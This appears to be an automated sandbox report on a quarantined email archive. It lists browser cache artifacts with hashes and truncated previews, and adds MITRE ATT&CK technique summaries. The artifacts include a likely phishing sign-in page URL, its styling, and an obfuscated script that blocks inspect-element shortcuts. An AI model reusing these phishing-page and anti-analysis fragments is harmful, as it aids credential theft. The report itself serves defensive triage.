Preview:	.PNG........IHDR...=...I........>....sRGB.........IDATx^.[{P.W.O@@.....u,.W.m...H..SGg.qv...#..........DA."...k...:"....P......ug....@....^>.....fbLr..w..u/b.$?....p:.............EO.>.V....M.:U$..E+V......[.ry.$.$.O....]Z.....;w..}..($$D444.-.....L..."88X422"....I$..TTT.KII.>....tsss.G.}t....2.Y.(.=....9((...._......g.\YY.A.R...\|.@..rSCCC2......I......3...tY....o.qS@G..7.l6y.....T}2888....^.4...%.%-{......w.&66..S...b....f..T.......d....q2_............A..H.RQoo/g.555oi4......V..6l.;..(...w.D.I..,Y..A...h.O.6.%..'.....z.Z...+p.AK$...(0.2.7..g...<90.... i[..0....=.N.R.T.......Z...Z.Zr4`..i...!.e.B`X.M.(..;..hM.Ry...n.+.}...E.W..%.HD}}}.......t....a.^_?{..[YYY_'$$p!.`0.B.555.M&...ad=d.d-.C...V..B..-p.5....}..`.`.L......1<...}]QQ.K.cr......X82.A...!P8=.T:.p8...f.x.Z.P.......9sf...W!..3g.tuu..!...vFF......*Y...X..w.>}..4o...tddd...F......EFF.8.......!M.......y``...!.!.p..........w0X..A.QQQ.O.<..F........l...fsX....4...-..N......<6.2;...`.......-

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8837), with no line terminators
Category:	dropped
Size (bytes):	8837
Entropy (8bit):	5.730349561864094
Encrypted:	false
SSDEEP:
MD5:	40770798069E4302C8E8494B5142D1BB
SHA1:	4AA73C3DFC3EB5C3EB76A5071C70E4A38A905383
SHA-256:	02156C9BD3C92481AA285F069F77DAF19F153C03C0DB302EC89A24FEF7271F24
SHA-512:	328A3A26FAB8F92DD4AEADE584F2FB695C4F7CE91C19802806224FF9B64A5DAC880C10A4E45EDE3F59E5530A6FF1F43184B868DEF4C1BFAB3E3CA90B9F6BC0CB
Malicious:	false
Reputation:	unknown
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(W,h,i,n,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=-parseInt(V(291))/1+parseInt(V(217))/2(-parseInt(V(334))/3)+parseInt(V(281))/4(parseInt(V(295))/5)+parseInt(V(263))/6(parseInt(V(265))/7)+-parseInt(V(244))/8(parseInt(V(222))/9)+parseInt(V(315))/10(parseInt(V(226))/11)+-parseInt(V(277))/12(-parseInt(V(242))/13),d===f)break;else e.push(e.shift())}catch(E){e.push(e.shift())}}(a,258703),h=this\|\|self,i=h[W(247)],n=function(a4,d,e,f){return a4=W,d=String[a4(248)],e={'h':function(E){return null==E?'':e.g(E,6,function(F,a5){return a5=b,a5(273)[a5(299)](F)})},'g':function(E,F,G,a6,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(a6=a4,E==null)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[a6(246)];R+=1)if(S=E[a6(299)](R),Object[a6(280)][a6(240)][a6(215)](I,S)\|\|(I[S]=M++,J[S]=!0),T=K+S,Object[a6(280)][a6(240)][a6(215)](I,T))K=T;else{if(Object[a6(280)][a6(240)][a6(215)](J,K)){if(256>K[a6(327)](0)){for(H=0;H<N;P<<=1,Q==F-1?(Q=0,O[a6(2

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 263 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4022
Entropy (8bit):	7.933685664446488
Encrypted:	false
SSDEEP:
MD5:	EF984B9CE53801ADAE1FAE29B5A5792F
SHA1:	653DE3EACDAA9B38634892A021FF63CC46D84C2E
SHA-256:	C2B2CA401F18B83BB197CED34FB80BAE4A3E3E2259F86CE4946EFE36BB7ACADF
SHA-512:	1D447C32A79198B4EAAAB54A6A7483D9E107A41721CDB2DE88EE282F57ED97ADEB9CAFD6AA77C30CF36D7A886FC48960FE317B225FE1CF1035DCD9F10631334D
Malicious:	false
Reputation:	unknown
URL:	https://outsourcel.com.au/w3ertyuiu8y7654ty/page/images/verify.png
Preview:	.PNG........IHDR..............Y......sRGB.........gAMA......a.....pHYs..........o.d...KIDATx^...Us......J4...,.DQ..[..5BH5.aj"..)!#2...-...5.....8....N.=.{.{......w..=.......s_..Gj.....1C../.O.U.VI.N..;..v.!8.&.p.B...e........./;.s.7......H~..W.....W^yE...`O&.....z.r..g.k.....p..5k.rJ..s...w....c.9..R<.R..a....v...G..4q>p.7.\|sxn....U.....<..#2v.Xy.7d..2o.`.z....&...?.l..s.=..C.u.C.5Z?.h.{.9.>\|....;r.-...S.=..b.u.....K.....L.O>..-..~..?.0X.....e.M6....k..K....#./.."...j.&r..7./.(.?..<..C.e.`OJUc...\...K..i.....0..1e>...P9..d..z...).."].v.&M..W^.!.E...O?u.(..].H....zJ..G.9..Se.M7.+..B.>..`..n..?. .<.\t.E.....{2._p.....>...e.e...B@....h..}z...}....xV.^...4(<.e...%%%.5...-].4....`...[.n....b..~.N?..P....b.6i...7.~...2..VA6..E...d..6.....i.!%%?.B@.].v...{.....~..'{.[NII.0....D.w..!...J....m..6..z..G..).ww.g.]wu..Y.$...g.....r8..#..d..<.@...........;.m...(1=......t.I...?.G...w...=..........._....CZ..O..z,..(+W

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2804)
Category:	downloaded
Size (bytes):	2805
Entropy (8bit):	5.420340244119878
Encrypted:	false
SSDEEP:
MD5:	0CB699A5581C3F985C95D7622A448B27
SHA1:	22E6428F3893AB5F272C4A4D7C694CC0F9C67E20
SHA-256:	D156C15C56A07666D0DE4E518C4960DA11648012D8B0ADB6AD0D549A45594E30
SHA-512:	48D31F0AAF970B87041039924F4EB357D4F56CE7524FAA829D62ED5E8BD22449F11B33AF91EB4125DEAE965FC99241184764A9D256932DB1BC31F0FA7785F7BA
Malicious:	false
Reputation:	unknown
URL:	https://cdn.jsdelivr.net/gh/syntaxerror019/HTML-STO/ld.min.js
Preview:	function _0x506b(_0x52d135,_0x2abb60){const _0x296419=_0x2964();return _0x506b=function(_0x506b4f,_0xc1d7be){_0x506b4f=_0x506b4f-0xc5;let _0x2d424f=_0x296419[_0x506b4f];return _0x2d424f;},_0x506b(_0x52d135,_0x2abb60);}const _0x2d79db=_0x506b;function _0x2964(){const _0x656d5d=['517468euUvch','16950EGNhgN','Inspect\x20element\x20attempt\x20mitigated\x20(Ctrl+Shift+I).','Inspect\x20element\x20attempt\x20mitigated\x20(Ctrl+Shift+C).','ctrlKey','contextmenu','224JURqQa','4158816MoNdKj','4TRBLDd','Inspect\x20element\x20attempt\x20mitigated\x20(F12).','ZX983','preventDefault','248112xvRdHJ','keyCode','2636682ItKhpn','62760XQSWbN','error','addEventListener','3474275OIjssd','shiftKey','keydown','3564bVGTCp'];_0x2964=function(){return _0x656d5d;};return _0x2964();}(function(_0x499840,_0x461de1){const _0x3f1eea=_0x506b,_0x4f9def=_0x499840();while(!![]){try{const _0x13250a=-parseInt(_0x3f1eea(0xd0))/0x1*(-parseInt(_0x3f1eea(0xc8))/0x2)+parseInt(_0x3f1eea(0xd7))/0x3+-parseInt(_0x3f1eea(0xcf))/0x4+

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1238)
Category:	dropped
Size (bytes):	1239
Entropy (8bit):	5.068464054671174
Encrypted:	false
SSDEEP:
MD5:	9E8F56E8E1806253BA01A95CFC3D392C
SHA1:	A8AF90D7482E1E99D03DE6BF88FED2315C5DD728
SHA-256:	2595496FE48DF6FCF9B1BC57C29A744C121EB4DD11566466BC13D2E52E6BBCC8
SHA-512:	63F0F6F94FBABADC3F774CCAA6A401696E8A7651A074BC077D214F91DA080B36714FD799EB40FED64154972008E34FC733D6EE314AC675727B37B58FFBEBEBEE
Malicious:	false
Reputation:	unknown
Preview:	!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href")\|\|""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 52 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.893325741442987
Encrypted:	false
SSDEEP:
MD5:	8244AF7FE59CC67A3B69CD98F19862C6
SHA1:	C0D505C27802EBC71C5D551A55D56A78138EA3A7
SHA-256:	F8917DA114B5593AFD3C934A2A588DB7191D6E645833B6809D81DE64722CD21A
SHA-512:	2E4E8B28E6627DA6D7576A74566826DD54A7A2CC0FA95E576DEEC38E887262F24BCEC488C9AEC30295E8015220F427169112FA3547407718E76A5D08D839AAA7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...(......l......sRGB.........IDAThC.Y.L...>...=..jG\|.A.Z5b)...?...n......8..,.@...h... ...5Y....T....c..6.A%.L.2..W]...<....2..4.&....s.=.=..%..6H4<...s....A..w$...R........;.6....z....n..........'.. ..+V\|.v.c.A`Y.U..n.T.......A........\|.T*....(..P(..........)..G555.....h:.b.l....(.J..U..B<%...\.......!.o...,.H$BpO...a........"....t....w.a...T....!8i\Pk....%...j.....Am).J.....\|>.D".c.Z....^...x<..A.mll...c:M..2.....9..........b.x....j......R.\......H....z.s...V..gY.s:.]MMM..).B.a-...t:]. ...\|..\|.3^......w..0..b)))...p...<..`L..'Z..&..SJ.m6[.K.1...j..eY-..1.......+..1..%..j........j....h4...C..y..a...v...{..OMM.d.....V.u.[.......LFbbb:.fs..d.s..........<Z..(..Hg.Z.H@=...NM<.=.....x...2.een......&..z(..l.\|..,.T..#}..?.F..R.}..b.^....:.n.... ..1......LV.n.......N..V.y^ g\|..V.}...).m6.mI$....]UUU[<...#7."...........}ee...........B.J..>z.h...)....9.K.Ju...........~.$66....G.P(..N.d...Uii.f.N..h.4..MBH .F...Lk.x.....c.U......

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with very long lines (496)
Category:	downloaded
Size (bytes):	8390
Entropy (8bit):	4.859481128380926
Encrypted:	false
SSDEEP:
MD5:	CDF90F3517EE6CA9B704681368DAF1CB
SHA1:	BECB98AE7A483339F6ACF03201A4B089CF4673F0
SHA-256:	9C812D66179E70116FF42E7F6191883B0F0797EF797831C75B294F4684383248
SHA-512:	AF4E05A67DB3966D7C883A34C74D8C74EA963D317EC04A387AE7950B2CF02B0B5AFEEEDE6C228CDF57804BE49534079A31D5C5A12D10A3D7232C45B64BD461BE
Malicious:	false
Reputation:	unknown
URL:	https://outsourcel.com.au/w3ertyuiu8y7654ty/page/styles/app.css
Preview:	* {. padding: 0;. margin: 0;. box-sizing: border-box;. font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";.}..html,.body {. background-color: #e2e5d3;. color: #1b1b1b;.}..section {. display: table-cell;. vertical-align: middle;. height: 100vh;. width: 1000rem;. max-width: 100%;.}.../* Wrapper styling */...auth-wrapper {. position: relative;. max-width: 440px;. width: calc(100% - 40px);. padding: 44px;. margin: auto;. margin-bottom: 28px;. background-color: #fff;. -webkit-box-shadow: 0 2px 6px rgba

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 58, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5096
Entropy (8bit):	7.803339345841521
Encrypted:	false
SSDEEP:
MD5:	804F72421862425A01D9697F9F36C9A2
SHA1:	B73DF25467E364FB229E7715E5393B5931491977
SHA-256:	112D2EAC21572A13C7DC55466DDD3091E28829611716C911714C05D183CFC56C
SHA-512:	0F4D8A9BF24D190311D5DE9FD9F8A08E2BC9848230DE53570A264DB00711080292785CD59231D4B8BCBE9D7BBEDF470EFEBE832AE7212BA04524B4C00552DCDA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...:......l.....miCCPICC Profile..H..W.XS...[.... .... R.H....^..!.$......]Tp."..].Ql+ v....bAAY.u...&$....}s.3g.S.L.=..?..<T..\|I.,!<.9:-.I... .m@.F<.\....P....w7.5.k.J....W....\|....g...\|.O....Ke....z...R%........J%.V..J...G.m..8._.@.........B~6......D ..@..q._..@..}X~.D%.....K!...V.w............~....y...gi....).\|..A.."..........T..$.1..ZC.A,P...."RD$..Q....... v..B. 6.8L.....gf.....N..p. 6.x.P.....$......e.8l..<O..W.."7....#.r...V.().b....... v..&F.mF..81.62E.2~k.....`.?V.%.KP......6....5._ J.P..;.....s...%.....\|t.@..aH.w.C(INT.\|...'....i^......+...{....k...9U.x.. .I.'^...S./...B..(....A...t.w._..0..2....Y..X..?#..DP...H....g.....jUWg..?[.".<.8.D.<.[.J2.-.<...?.....x..P..{......5.j.b.#.>`I.%..#.aD.......hx....g.>.y\|.'<#....n...w&..e?D9..A.0u-2...n.9=.`...Cf..7........gO...VV.....2..i...d.<..D..q..... .....G.k.`.9.3?..\|W}..G.h.-..`.....V...q..k.*...z....%...y....S.TVR.Z....Y5W .R.<x...2q....o.!.+..c...y..\|.......C...o.......

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.842749405075779
Encrypted:	false
SSDEEP:
MD5:	3E3A9DBE5828D868CF824DB636665521
SHA1:	96E9874716E098DDAEAFE1A30A3AD201085B1A28
SHA-256:	F9A7BA5B9CEFD0301A4367E653D5EFBE8F6913977C6CB137811D554CE936E941
SHA-512:	C4C3A4A94F2CAB65AA70BB5A99D63F0DF55A26A814BB4B753C9886D9C48CAC96F57BF7E06027E18450830287CF975B0783B47E2A9F065F976EAEB4494056D60F
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkwsYMvO2V4pxIFDc8jKv8SEAmY_RG_M1QJaBIFDcWTxCQSEAnUIPrSNptQ0xIFDXVfuUESEAk4vBeHqhA_PhIFDXVfuUE=?alt=proto
Preview:	CgkKBw3PIyr/GgAKCQoHDcWTxCQaAAoJCgcNdV+5QRoACgkKBw11X7lBGgA=

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	unknown
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8756), with no line terminators
Category:	downloaded
Size (bytes):	8756
Entropy (8bit):	5.749691962327255
Encrypted:	false
SSDEEP:
MD5:	628BC630ECDBFD885A6B6DDC5A926B33
SHA1:	DE708C7ED0E5B9A18A209B0EB88EB843D851D7A5
SHA-256:	352069E42C14C3E78FD118A2385887D2F421737B7948E8EB12B217F1006C0103
SHA-512:	717B95BE3178161E8749D22850F6F51279D54F4E0AA1879FEB5A50BC629A50104B13E08418F4C6B63FA360C5D32656993D9990D9C28196D3FA653425F545F00E
Malicious:	false
Reputation:	unknown
URL:	https://outsourcel.com.au/cdn-cgi/challenge-platform/h/g/scripts/jsd/849bfe45bf45/main.js?
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(W,h,i,j,k,o,s,B){W=b,function(d,e,V,f,g){for(V=b,f=d();!![];)try{if(g=parseInt(V(394))/1+parseInt(V(372))/2+-parseInt(V(458))/3(-parseInt(V(430))/4)+parseInt(V(402))/5+-parseInt(V(357))/6(parseInt(V(437))/7)+parseInt(V(425))/8*(parseInt(V(381))/9)+-parseInt(V(401))/10,g===e)break;else f.push(f.shift())}catch(E){f.push(f.shift())}}(a,480051),h=this\|\|self,i=h[W(383)],j={},j[W(456)]='o',j[W(476)]='s',j[W(448)]='u',j[W(419)]='z',j[W(471)]='n',j[W(417)]='I',j[W(407)]='b',k=j,h[W(378)]=function(g,E,F,G,a1,I,J,K,L,M,N){if(a1=W,E===null\|\|void 0===E)return G;for(I=n(E),g[a1(446)][a1(395)]&&(I=I[a1(438)](g[a1(446)][a1(395)](E))),I=g[a1(375)][a1(367)]&&g[a1(441)]?g[a1(375)][a1(367)](new g[(a1(441))](I)):function(O,a2,P){for(a2=a1,O[a2(440)](),P=0;P<O[a2(431)];O[P]===O[P+1]?O[a2(463)](P+1,1):P+=1);return O}(I),J='nAsAaAb'.split('A'),J=J[a1(365)][a1(387)](J),K=0;K<I[a1(431)];L=I[K],M=m(g,E,L),J(M)?(N='s'===M&&!g[a1(468)](E[L]),a1(377)===F+L?H(F+L,M):N\|\|H(F

Static File Info

General

File type:	Zip archive data, at least v4.5 to extract, compression method=deflate
Entropy (8bit):	7.994530825290213
TrID:	ZIP compressed archive (8000/1) 100.00%
File name:	Quarantined Messages(3).zip
File size:	42'166 bytes
MD5:	5781e2e5deb1ac11efb39446052c77ff
SHA1:	6fc7c944c416770bd11192df020f1c03ae1d5aa3
SHA256:	8913bc2cfe2c41222c70b7043bf353152d1f2bc2b51126803b1d9b59e5187efb
SHA512:	c84c43b21e350aa707dd3bca5fed34c2adf62f9aeb4a0784e4cc8ef0a0c288aab4b1b92259224f72d7ab68d45bfc2e9991ca06f66d4e7e9b281a1bed660ce221
SSDEEP:	768:W699MsgE5Q1qUcWU4asigLEBnaCbn5DzwzQq4vwloSMh0z3xp/:v9Msg+Q1vIBnhbnJwTnloSMh0X/
TLSH:	8613024DD2EEED5A18B130B6E530863BC9ED8F16E3E0852D332C5B4CE0B0D7898652D1
File Content Preview:	PK..-......c'Za+\}........M...41edf65b-5821-413e-185a-08dd2e6d50de/1c042ccb-e87d-57dd-69c8-e52ef84f5ad3.eml.....\......z.............=.!.)..........f...\O...^......H.2....V.7......=r...IU~R.............O.0&.).F.Q].T.......y.....vz.7.;.t...O_j.s...=.S.....

File Icon


Icon Hash:	1c1c1e4e4ececedc

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
